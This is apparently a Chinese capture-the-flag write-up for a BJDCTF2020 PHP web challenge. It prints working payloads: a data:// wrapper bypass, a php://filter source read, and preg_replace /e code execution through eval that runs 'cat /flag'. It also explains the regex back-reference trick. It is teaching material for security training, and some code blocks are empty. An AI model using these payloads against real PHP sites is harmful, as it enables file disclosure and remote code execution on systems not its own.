BJDCTF2020-ZJCTF-不过如此
1. 首页
源码:
1 |
|
2. 代码审计
2.1 上传提交
1 | if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ |
以get形式上传参数text和file,如果存在参数text同时这个text参数满足等于字符串”I have a dream”,那么就输出在这个text的字符串内容。
- file_get_contents()—–把整个文件读入一个字符串中
payload:
1 | ?text=data://text/plain,I have a dream |
2.2 文件包含
1 | if(preg_match("/flag/",$file)){ |
源码中提示我们去包含next.php文件,所以我们利用php://filter协议去读下next.php的源码。
payload:
1 | &file=php://filter/convert.base64-encode/resource=next.php |
得到base64编码:
1 | PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K |
解码得到next.php:
1 |
|
/e模式的preg_replace,有一个远程代码执行漏洞。
思路是利用这个代码执行,执行源码中的getFlag()函数,再传入cmd参数,再利用getFlag中的eval()函数,再进行一个代码执行,是个典型的俄罗斯套娃。
payload:
1 | next.php?\S*=${getFlag()}&cmd=system('cat /flag'); |
2.3 preg_replace()函数
1 | preg_replace(pattern, replacement, subject) |
1 | preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str) |
当pattern传入的正则表达式带有/e时,存在命令执行,即当匹配到符合正则表达式的字符串时,第二个参数的字符串可被当做代码来执行;
这里第二个参数固定为strtolower("\\1")
;
这里的\\1
实际上体现为\1
;参考
反向引用
对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问
这里的\1
指的是第一个匹配项
官方payload/?.*={${phpinfo()}}
即
1 | preg_replace('/(.*)/ei','strtolower("\\1")','{${phpinfo()}}'); |
1 | 但这里存在的问题是,GET方式传的字符串,.会被替换成_,这里采用 |